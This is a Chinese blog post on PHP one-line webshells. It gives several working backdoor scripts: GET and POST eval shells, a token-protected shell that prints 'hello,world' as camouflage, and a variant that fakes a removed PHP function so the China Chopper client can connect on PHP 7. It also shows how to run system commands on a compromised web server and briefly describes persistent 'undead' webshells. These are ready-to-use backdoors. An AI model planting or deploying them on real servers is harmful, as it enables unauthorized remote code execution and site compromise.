php木马

/ 0评 / 0

手贱 传木马到服务器 公司网站接连被删。。。。

<?php
// 这是一个GET版本的木马
// 用法是 http://domain/cmdget.php?cmd=phpinfo();exit();
@eval($_GET['cmd']);
?>

上面这一句话就是一个php的木马。当然,木马的前提是要将这个php文件上传到你的web服务器中,并且可通过url访问才行。有很多web漏洞可能导致被上传木马,包括上传文件漏洞、sql漏洞等等。解释一下上面这一句话:

@符号,是php的错误控制符,放在任何表达式之前,该表达式可能产生的任何错误信息都被忽略掉。可以放可不放。

eval(code_str), eval函数把字符串参数code_str当作php代码来解析执行。

$_GET['cmd']就很好解释了,就是获取url中的cmd查询字符串。

所以合起来的意思就是执行用户在url查询字符串cmd输入的语句。这个语句可以是任意合法的php语句。phpinfo(),exit()(加exit是因为有时候这一句话木马是注入到别的php文件里面的,为防止该文件的其他php语句打乱输出结果,直接执行完想要的命令就终止运行。)还有一个很重要的php语句system(cmd),可以执行系统指令,并输出结果。

所以,实用http://domain/cmdget.php?cmd=system("ls -tl");exit();就能得到在web服务器ls -tl命令同样的结果。这样就叫getShell了。

<?php
// post版的一句话木马
eval($_POST['cmd']);
?>

<?php
// 这是一个GET版本的木马,token=ca@C
// 所以这个木马的用法是 http://domain/cmdget.php?token=ca@C&cmd=phpinfo();exit();
if (md5($_GET['token']) === '918dac51dfad24f0b5698723d1371e73') {
eval($_GET['cmd']);
}
echo "hello,world";
?>

由于菜刀工具会调用php7中已经剔除的函数set_magic_quotes_runtime,所以如果将上面的木马放在php7服务器上用菜刀连接的话,会报500内部错误。为了绕开这个错误,可以简单的在木马脚本上伪造一个set_magic_quotes_runtime函数。

<?php
// 这是一个POST版本的木马,token=ca@C

if (!function_exists('set_magic_quotes_runtime')) {
// php7中不再有set_magic_quotes_runtime方法了,而菜刀工具扫描时会调用该方法,这就可能出错。
function set_magic_quotes_runtime($new_setting) {
return true;
}
}

if (md5($_POST['token']) === '918dac51dfad24f0b5698723d1371e73') {
@eval($_POST['cmd']);
}
echo "hello,world";
?>

不死马
所谓的不死马,就是先上传一个“木马生成器”,然后通过url访问一次该木马生成器,使其常驻内存并保证木马文件存在。

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注